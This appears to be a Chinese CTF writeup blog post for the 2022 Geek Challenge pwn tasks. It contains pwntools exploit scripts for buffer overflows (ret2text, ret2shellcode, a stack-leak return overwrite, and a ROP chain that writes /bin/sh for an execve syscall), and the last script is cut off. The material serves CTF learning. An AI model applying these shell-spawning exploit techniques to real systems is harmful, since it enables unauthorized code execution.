【pwn】2022 极客大挑战

【pwn】2022 极客大挑战

前言

又是一年的极客大挑战,又老了一岁,也只有打打新生赛才能有第一次接触ctf快乐了,现在各种比赛的pwn都是纯纯的坐牢~

本次题解的所有脚本使用的类库都是本人自己整合的一个库,github地址:https://github.com/Awoodwhale/pwn_all_in_one

nc

直接nc连接

pwn1_1

简单的ret2text

from pwntools import *

init("./pwn1_1")

backdoor = 0x401196

payload = b"b"*0x10 + b"woodwood" + p64(backdoor)

sl(payload)

ia()

pwn2_1

也是有后门的

from pwntools import *

init("./pwn2_1")

payload = b"\x00"*0x10 + b"woodwood" + p64(0x4011EF)
sl(payload)
ia()

pwn2_2

简单的ret2shellcode

from pwntools import *

init("./pwn2_2")

backdoor = 0x4040A0

sla("number:", asm(shellcraft.sh()))
sla("buf: ", b"b"*0x18 + p64(backdoor))

ia()

pwn2_3

首先获取栈地址,调试查看偏移获取ret_address的地址,在栈里写shellcode,最后用任意写把ret_address的地址写成存放shellcode的栈地址,这样就能执行shellcode了(这种方式需要保证shellocde的长度不会覆盖到canary,否则会触发canary的保护机制,当然还有一种方式,可以把stack_chk_fail的got表改成shellcode的地址)

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp2_3.py
# @Author  :  woodwhale
# @Time    :  2022/11/02 15:27:21
# -----------------------------------

from pwntools import *

# context.log_level = "debug"

init("./pwn2_3")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

pop_rdi = 0x0000000000001383

ru("0x")
stack_addr = leak(i16(rl()), "stack_addr")

sa("Give me your buf: ", asm(shellcraft.sh()))
sla("rb_write to you:", str(stack_addr + 0x118))
tmp = hex(stack_addr)[2:]

# dbg();pau()
sa(
    "Data: ",
    p8(i16(tmp[-2:]))
    + p8(i16(tmp[-4:-2]))
    + p8(i16(tmp[-6:-4]))
    + p8(i16(tmp[-8:-6]))
    + p8(i16(tmp[-10:-8]))
    + p8(i16(tmp[-12:-10])),
)


ia()

pwn3_1

不是很想ret2libc,所以使用了一个独特的gadget来进行任意地址写mov_rsi_eax

原理就是把一个bss段地址写入/bin/sh\x00,然后使用syscall调用execve("/bin/sh",NULL,NULL)

因为我找来的gadget是用的eax,所以每次只能写32位,所以这里/bin/sh\x00分了两次写,写完了之后就调用syscall就好啦!

from pwntools import *

context.log_level = "debug"
init("./pwn3_1")

pop_rax = 0x0000000000449307
pop_rdi = 0x0000000000401882
pop_rsi = 0x000000000040f1ce
pop_rdx = 0x000000000040178f
syscall = 0x00000000004012d3
syscall_ret = 0x0000000000416f04

mov_rsi_eax = 0x000000000047bc06

def fflat(lst):
    res = b""
    for l in lst:
        res += p64(l)
    return res

payload = b"b"*0x18 + fflat([
    pop_rsi, 0x4c3000,
    pop_rax, 0x6e69622f,    # /bin
    mov_rsi_eax,
    0x401D25
])
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值